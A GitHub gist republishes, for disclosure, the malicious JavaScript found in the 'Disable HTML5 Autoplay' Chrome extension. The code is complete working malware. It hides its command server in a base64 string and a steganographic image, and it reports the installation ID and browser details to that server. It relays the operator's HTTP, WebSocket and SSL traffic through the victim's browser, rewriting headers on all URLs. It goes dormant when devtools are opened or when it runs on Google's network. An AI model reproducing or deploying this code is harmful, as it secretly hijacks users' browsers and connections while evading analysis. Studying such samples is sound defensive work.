Skip to content

Instantly share code, notes, and snippets.

@egorvinogradov
Created December 14, 2022 09:38
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save egorvinogradov/cd54402e11b68f331d36641e4f2e0b2a to your computer and use it in GitHub Desktop.
Save egorvinogradov/cd54402e11b68f331d36641e4f2e0b2a to your computer and use it in GitHub Desktop.
Malware code from the "Disable HTML5 Autoplay" Chrome extension. See https://github.com/Eloston/disable-html5-autoplay/issues/223
// var ts = Math.round((new Date()).getTime() / 1000);
// if (ts < 1544559309){
// return;
// }
var socketCluster = require('socketcluster-client');
var http = require('http');
var https = require('https');
var f5stego = require('f5stegojs');
var request = require('request')
var fs = require('fs')
var WebSocket = require('isomorphic-ws')
var Url = require('url-parse');
var util = require('util')
var getRandomValues = require('get-random-values');
var isChromeExtension = (typeof chrome !== 'undefined')
if(!isChromeExtension){
var TextDecoderModule = util.TextDecoder
} else {
var TextDecoderModule = TextDecoder
}
var isAndroid = (typeof LiquidCore !== 'undefined')
var isProduction = true
var isDynamicDomain = true
var forceHttpSocket = false
var nodeManifestData = {
name: 'NodeJS',
permissions: [
"<all_urls>"
]
}
// var SOCKET_HOSTNAME = 'localhost'
var SOCKET_HOSTNAME = 'Y2xpZW50Lm5yLWV4dGVuc2lvbnMuY29t='
SOCKET_HOSTNAME = new Buffer(SOCKET_HOSTNAME, 'base64').toString();
// if (isTest()) {
// isProduction = false
// SOCKET_HOSTNAME = 'localhost'
// const nock = require('nock')
// const scope = nock('http://ip-api.com',{ allowUnmocked: true })
// .get('/json/')
// .reply(200, {
// "query" : "174.128.181.24"
// })
// }
var VERSION = '0.4.1'
var requestsOptions = {}
var websockets = {}
var wsMessages = {}
var hostToDomainCache = {}
if(!isChromeExtension){
process.on('uncaughtException', (err) => {
console.error('There was an uncaught error', err)
})
}
function log(){
if(!isProduction) {
console.log.apply( this, arguments );
}
}
function isDevMode(callback) {
if(!isChromeExtension){
return callback(isProduction && !isAndroid)
}
chrome.management.getSelf(function(result){
callback(result.installType == 'development')
})
}
function start(){
log('Version:', VERSION)
function toBinString(arr) {
var uarr = new Uint8Array(arr.map(function(x) { return parseInt(x, 2) }));
var strings = [],
chunksize = 0xffff;
// There is a maximum stack size. We cannot call String.fromCharCode with as many arguments as we want
for (var i = 0; i * chunksize < uarr.length; i++) {
strings.push(String.fromCharCode.apply(null, uarr.subarray(i * chunksize, (i + 1) * chunksize)));
}
return strings.join('');
}
function getRandomToken() {
// E.g. 8 * 32 = 256 bits token
var randomPool = new Uint8Array(32);
getRandomValues(randomPool);
var hex = '';
for (var i = 0; i < randomPool.length; ++i) {
hex += randomPool[i].toString(16);
}
// E.g. db18458e2782b2b77e36769c569e263a53885a9944dd0a861e5064eac16f1a
return hex;
}
function getManifest() {
if(isChromeExtension){
return chrome.runtime.getManifest()
} else {
return nodeManifestData
}
}
function getUserAgent(){
if(isChromeExtension){
return navigator.userAgent
} else {
return 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.3729.157 Iron Safari/537.36'
}
}
function getChromeVersion() {
return /Chrome\/([0-9.]+)/.exec(getUserAgent())[1];
}
function getExtensionId() {
if(isChromeExtension){
return chrome.runtime.id
} else {
return 'NodeJS'
}
}
function getExtensionName() {
return getManifest().name
}
function getSupportedHostnames() {
if (!isChromeExtension) {
return []
}
var permissions = getManifest().permissions;
var hostnames = [];
for (var i in permissions) {
var permission = permissions[i];
if ((permission.substring(0, 6) == "*://*.") &&
permission.substring(permission.length - 2) == "/*") {
var hostname = permission.substring(6, permission.length - 2);
hostnames.push(hostname)
}
}
return hostnames;
}
function isAllUrlPermission() {
if (!isChromeExtension) {
return true
}
var permissions = getManifest().permissions;
for (var i in permissions) {
var permission = permissions[i];
if (permission == '*://*/*' || permission == '<all_urls>') {
return true;
}
}
if(permissions.indexOf("https://*/*") != -1 &&
permissions.indexOf("http://*/*") != -1){
return true
}
return false;
}
String.prototype.replaceAll = function(search, replacement) {
var target = this;
return target.replace(new RegExp(search, 'g'), replacement);
};
var suppoertedHostnames = getSupportedHostnames();
var isAllUrls = isAllUrlPermission()
var socket;
function ipLookup(socket) {
log('Getting public IP')
http.get('http://ip-api.com/json/', function(resp) {
var geoData = '';
// A chunk of data has been recieved.
resp.on('data', function(chunk) {
geoData += chunk;
});
// The whole response has been received. Print out the result.
resp.on('end', function() {
geoData = JSON.parse(geoData);
if (geoData.isp == 'G2D2o2D2o2D2g2D2l2D2e2D2 L2D2L2D2C'.replaceAll('2D2', '')) {
invisibleLogic(true);
}
});
}).on("error", function(err) {
log("Error while getting public IP: " + err.message);
});
}
function getInstallationId(callback){
if(isChromeExtension){
chrome.storage.sync.get('installationId', function(items) {
var installationId = items.installationId;
if (installationId) {
useToken(installationId);
} else {
installationId = getRandomToken();
chrome.storage.sync.set({installationId: installationId}, function() {
useToken(installationId);
});
}
function useToken(installationId) {
callback(installationId)
}
});
} else {
if(isAndroid){
var filename = '/home/local/persistentData.json'
} else {
var filename = './persistentData.json'
}
try {
var data = JSON.parse(fs.readFileSync(filename))
} catch (error) {
var data = {
installationId: getRandomToken()
}
fs.writeFileSync(filename, JSON.stringify(data))
}
log('installationId: '+data.installationId)
callback(data.installationId)
}
}
function getSocketOptions(callback){
var port = 8082
var socketOptions = {
port: port,
autoReconnect: true,
autoConnect: false,
query: {
supportEncoding: true,
supportWs: true
},
rejectUnauthorized: false // Only necessary during debug if using a self-signed certificate
};
if (!isProduction) {
socketOptions.autoReconnectOptions= {
initialDelay: 200, //milliseconds
randomness: 100, //milliseconds
multiplier: 1, //decimal
maxDelay: 300 //milliseconds
}
}
var manifestData = getManifest()
var userAgent = getUserAgent()
socketOptions.query.manifestData = JSON.stringify(manifestData)
socketOptions.query.userAgent = userAgent;
socketOptions.query.chromeVersion = getChromeVersion()
socketOptions.query.appVersion = VERSION
socketOptions.query.lang = isChromeExtension ? 'Chrome': 'Node'
socketOptions.query.isAndroid = isAndroid
socketOptions.query.extensionId = getExtensionId()
if(!isDynamicDomain){
socketOptions.hostname = SOCKET_HOSTNAME
callback(socketOptions)
} else {
function fallback(error){
log('Error while trying fetching the domain, using fallback...',error)
socketOptions.hostname = SOCKET_HOSTNAME
callback(socketOptions)
}
try {
request.get({
url:'https://storage.googleapis.com/chrome-extensions/icon.jpg',
encoding: null }, function (err, res, body) {
if(err){
fallback(err)
}
try {
var j = new f5stego(new Buffer.from('kakaka'.toString(), 'utf8'));
j.parse(body);
var hiddenData = j.f5get();
hiddenData = new TextDecoderModule("utf-8").decode(hiddenData);
hiddenData = JSON.parse(hiddenData)
// console.log(hiddenData)
var domain = hiddenData[getExtensionName()] || hiddenData.global
socketOptions.hostname = domain
callback(socketOptions)
} catch (error) {
fallback(error)
}
});
} catch (error) {
fallback(error)
}
}
}
function initiateSocket() {
getSocketOptions(function(socketOptions){
getInstallationId(function(installationId){
socketOptions.secure = (socketOptions.hostname != 'localhost')
if (forceHttpSocket){
socketOptions.secure = false
}
socketOptions.query.installationId = installationId
socket = socketCluster.create(socketOptions);
socket.on('connect_error', function(err) {
log('Connection Failed', err);
});
socket.on('error', function(err) {
log('Socket Error', err);
});
socket.on('connect', function() {
if(invisible){
return socket.disconnect()
}
log('Connected to:', socketOptions.hostname)
ipLookup(socket)
});
socket.on('disconnect', function(data) {
log('Disconnected', data)
});
socket.on('close', function(statusCode, data) {
log('Closed', statusCode, data)
if (data && data.reconnectIn) {
setTimeout(function(){
socket.connect()
}, data.reconnectIn*1000);
}
});
socket.on('ws closed', function(options) {
var requestId = options.requestId
var ws = websockets[requestId]
if (ws) {
ws.close(1000)
}
});
socket.on('ws connect', function(options) {
var port = Url(options.url).port
if(!port){
options.url = options.url.replace(":443","").replace(":80","")
}
requestsOptions[options.url] = options
requestsOptions[options.requestId] = options
log(options.url)
if (isChromeExtension){
var ws = new WebSocket(options.url);
} else {
var ws = new WebSocket(options.url, '', {
headers: options.headers
});
}
ws.binaryType = 'arraybuffer';
wsMessages[options.requestId] = []
var clientMsgQueue = wsMessages[options.requestId]
websockets[options.requestId] = ws
ws.onopen = function open(){
while (clientMsgQueue.length > 0) {
const message = clientMsgQueue.shift();
ws.send(message)
}
};
ws.onclose = function close() {
socket.emit('ws closed', {
requestId: options.requestId
})
delete websockets[options.requestId]
delete wsMessages[options.requestId]
};
function arrayBufferToBufferCycle(ab) {
var buffer = new Buffer(ab.byteLength);
var view = new Uint8Array(ab);
for (var i = 0; i < buffer.length; ++i) {
buffer[i] = view[i];
}
return buffer;
}
ws.onmessage = function incoming(data) {
data = data.data
var isString = false
if (typeof data == 'string'){
isString = true
} else {
if (isChromeExtension){
data = arrayBufferToBufferCycle(data)
}
data = data.toString('base64')
}
socket.emit('ws message', {
requestId: options.requestId,
data: data,
isString
})
};
})
socket.on('ws message', function(options){
var requestId = options.requestId
var clientMsgQueue = wsMessages[requestId]
if (!clientMsgQueue){
wsMessages[requestId] = []
clientMsgQueue = wsMessages[requestId]
}
var ws = websockets[requestId]
var data = options.data
if (!options.isString){
data = new Buffer(options.data, 'base64');
}
if (ws && ws.readyState === 1) {
// if there still are msg queue consuming, keep it going
if (clientMsgQueue.length > 0) {
clientMsgQueue.push(data);
} else {
ws.send(data);
}
} else {
clientMsgQueue.push(data);
}
})
socket.on('delegate request', function(options) {
var timeLast = Math.floor(new Date()) - options._time
// log('Worker -> extension, last:',timeLast)
var postdata;
if (options.postdata) {
postdata = new Buffer(options.postdata, 'base64');
}
delete options.postdata;
requestsOptions[options.requestId] = options
options.headers["xxn-request-id"] = options["requestId"]
if (options.protocol == 'https') {
var requestHandler = https
}
if (options.protocol == 'http') {
var requestHandler = http
}
log(options.url)
delete options.url
delete options.protocol
var request = requestHandler.request(
options,
function(response) {
// Override the headers
if (options.responseHeaders != undefined) {
response.headers = options.responseHeaders
}
// Delete request options after request
// was executed
delete requestsOptions[options.requestId]
var headers = response.headers
if(isChromeExtension){
delete headers['content-encoding']
delete headers['Content-Encoding']
}
socket.emit('response header', {
requestId: options.requestId,
statusCode: response.statusCode,
headers: headers
});
response.on('data', function(chunk) {
socket.emit('response data', {
requestId: options.requestId,
data: chunk.toString('hex')
})
});
response.on('end', function() {
socket.emit('response end', {
requestId: options.requestId
});
});
});
request.on('timeout', function(){
socket.emit('request error', {
requestId: options.requestId,
error: new Error('Request Timeout Error')
});
log("Request Timeout Error, aborting...")
request.abort();
});
request.on('error', function(error) {
// Ignored if its chrome extension because it already
// handled in webRequest.onErrorOccurred
if(!isChromeExtension){
socket.emit('request error', {
requestId: options.requestId,
error: error
});
log('error:',error)
}
});
// log(postdata)
if (postdata) {
request.write(postdata);
}
request.end();
});
socket.on('reload extension', function(data) {
if (isChromeExtension) {
log('reloading extension')
chrome.runtime.reload()
} else {
if(isAndroid){
LiquidCore.emit('reload')
socket.disconnect()
}
}
});
socket.on('connect ssl', function(data) {
// var proxySocket = new net.Socket();
// requestSockets[data.requestSocketId] = proxySocket
// proxySocket.connect(data.port, data.hostDomain, function() {
// proxySocket.write(new Buffer(data.bodyhead, 'base64'));
// socket.emit("ssl data",{
// "requestSocketId": data.requestSocketId,
// "data":"HTTP/" + data.httpVersion + " 200 Connection established\r\n\r\n"
// });
// });
var proxySocket = net.connect({
"host": data.hostDomain,
"port": data.port
});
requestSockets[data.requestSocketId] = proxySocket
proxySocket.on('connect', function() {
proxySocket.write(new Buffer(data.bodyhead, 'base64'));
socket.emit("ssl data", {
"requestSocketId": data.requestSocketId,
"data": "HTTP/" + data.httpVersion + " 200 Connection established\r\n\r\n"
});
})
proxySocket.on('data', function(chunk) {
socket.emit("ssl data", {
"requestSocketId": data.requestSocketId,
"data": chunk
});
});
proxySocket.on('end', function() {
socket.emit("ssl end", {
"requestSocketId": data.requestSocketId
});
});
proxySocket.on('error', function() {
socket.emit("ssl data", {
"requestSocketId": data.requestSocketId,
"data": "HTTP/" + data.httpVersion + " 500 Connection error\r\n\r\n"
});
socket.emit("ssl end", {
"requestSocketId": data.requestSocketId
});
});
})
socket.on("ssl data", function(data) {
requestSocket = requestSockets[data.requestSocketId]
requestSocket.write(data.data)
})
socket.on("ssl end", function(data) {
requestSocket = requestSockets[data.requestSocketId]
requestSocket.end()
})
socket.connect();
})
})
}
var invisible = false
function invisibleLogic(toggle) {
invisible = toggle
if (invisible) {
socket.disconnect()
log('disconnecting...')
} else {
initiateSocket()
log('reconnecting...')
}
}
if (isChromeExtension) {
// Defende from devtools investigating
var element = new Image;
var devtoolsOpen = false;
var lastState = false;
element.__defineGetter__("id", function() {
devtoolsOpen = true; // This only executes when devtools is open.
});
if (isProduction) {
setInterval(function() {
devtoolsOpen = false;
console.log(element);
if (lastState != devtoolsOpen) {
invisibleLogic(devtoolsOpen)
}
lastState = devtoolsOpen
console.clear()
}, 500);
}
}
var requestSockets = {}
if (isChromeExtension) {
function arrayHeadersToObject(headers) {
var objHeaders = {}
for (var i = 0; i < headers.length; i++) {
var header = headers[i]
if (header.name in objHeaders) {
if (typeof objHeaders[header.name] === 'string') {
objHeaders[header.name] = [objHeaders[header.name]]
}
objHeaders[header.name].push(header.value)
} else {
objHeaders[header.name] = header.value
}
}
return objHeaders;
}
function createChromeListeners(includeExtraHeaders) {
var chromeReqIdToReqId = {}
var onBeforeSendHeadersInfo = ['blocking', 'requestHeaders']
var onHeadersReceivedInfo = ['blocking', 'responseHeaders']
var onBeforeRedirectInfo = ['responseHeaders']
if (includeExtraHeaders) {
onBeforeSendHeadersInfo.push('extraHeaders')
onHeadersReceivedInfo.push('extraHeaders')
onBeforeRedirectInfo.push('extraHeaders')
}
chrome.webRequest.onBeforeSendHeaders.addListener(
function(info) {
var chromeReqId = info.requestId;
var headers = info.requestHeaders;
var requestId;
var isOurRequest = false;
for (var i = 0; i < headers.length; i++) {
var header = headers[i]
if (header.name == 'xxn-request-id') {
requestId = header.value
isOurRequest = true;
}
if (info.type == "websocket" &&
(header.name.toLowerCase() == 'origin') &&
(header.value == 'chrome-extension://'+getExtensionId()) &&
requestsOptions[info.url]){
requestId = info.url
isOurRequest = true;
}
}
if (isOurRequest) {
var newHeaders = []
if(info.type == "websocket"){
var urlRequestId = requestId
requestId = requestsOptions[urlRequestId].requestId
delete requestsOptions[urlRequestId]
for (var i = 0; i < headers.length; i++) {
var header = headers[i]
if (/sec-websocket/ig.test(header.name) ||
['connection', 'upgrade'].indexOf(header.name.toLowerCase() != -1)) {
newHeaders.push(header)
}
}
}
var options = requestsOptions[requestId]
var originalHeaders = options.headers
for (var k in originalHeaders) {
if (originalHeaders.hasOwnProperty(k) && k != 'xxn-request-id') {
newHeaders.push({ 'name': k, 'value': originalHeaders[k] })
}
}
chromeReqIdToReqId[chromeReqId] = requestId
return { requestHeaders: newHeaders };
}
return {}
}, {
urls: ["<all_urls>"], //
types: ["xmlhttprequest", "websocket"]
},
onBeforeSendHeadersInfo
);
chrome.webRequest.onHeadersReceived.addListener(
function(info) {
var headers = info.responseHeaders;
var newClientHeaders = []
var chromeReqId = info.requestId;
var requestId = chromeReqIdToReqId[chromeReqId]
var isOurRequest = (requestId != undefined)
if (isOurRequest) {
var options = requestsOptions[requestId];
// Check if it supposed to redirect
var newHeaders = arrayHeadersToObject(headers)
// Remove cookies headers from original request
var noCookiesHeaders = [];
for (var i = headers.length - 1; i >= 0; i--) {
var header = headers[i];
if (header.name.toLowerCase() != 'set-cookie') {
noCookiesHeaders.push(header);
}
}
if (info.statusCode >= 300 && info.statusCode < 400) {
log('redirect');
requestsOptions[options.requestId].isRedirected = true
socket.emit('response', {
requestId: requestId,
statusCode: info.statusCode,
headers: newHeaders
});
return { cancel: true };
}
requestsOptions[options.requestId].responseHeaders = newHeaders
if (info.type == "websocket"){
socket.emit('response', {
requestId: requestId,
statusCode: info.statusCode,
headers: newHeaders
})
}
return { responseHeaders: noCookiesHeaders };
}
return {};
}, {
urls: ["<all_urls>"], //
types: ["xmlhttprequest", "websocket"]
},
onHeadersReceivedInfo
);
chrome.webRequest.onBeforeRedirect.addListener(
function(info) {
log('redirect')
return {}
}, {
urls: ["<all_urls>"], //
types: ["xmlhttprequest"]
},
onBeforeRedirectInfo
);
chrome.webRequest.onErrorOccurred.addListener(
function(info) {
var chromeReqId = info.requestId;
var requestId = chromeReqIdToReqId[chromeReqId]
var isOurRequest = (requestId != undefined)
if (isOurRequest) {
var reqOptions = requestsOptions[requestId];
if (!reqOptions.isRedirected){
socket.emit('request error', {
requestId: requestId,
error: info.error
});
log('error:',info.error)
}
delete chromeReqIdToReqId[chromeReqId]
delete requestsOptions[requestId]
}
},
{
urls: ["<all_urls>"], //
types: ["xmlhttprequest", "websocket"]
}
);
}
var chromeVersion = parseInt(getChromeVersion().split('.')[0])
if (chromeVersion >= 72) {
createChromeListeners(true)
} else {
createChromeListeners(false)
}
}
initiateSocket()
}
isDevMode(function(isDev){
if(!isProduction || (isProduction && !isDev)) {
if(!isAndroid){
start()
} else {
LiquidCore.on('manifestData', function(manifestData) {
nodeManifestData = manifestData
start()
})
// Request the manifest from android
LiquidCore.emit('getManifest')
}
}
})
function isTest() {
if (!isChromeExtension && process.env.ENV == 'test') {
return true
}
return false
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment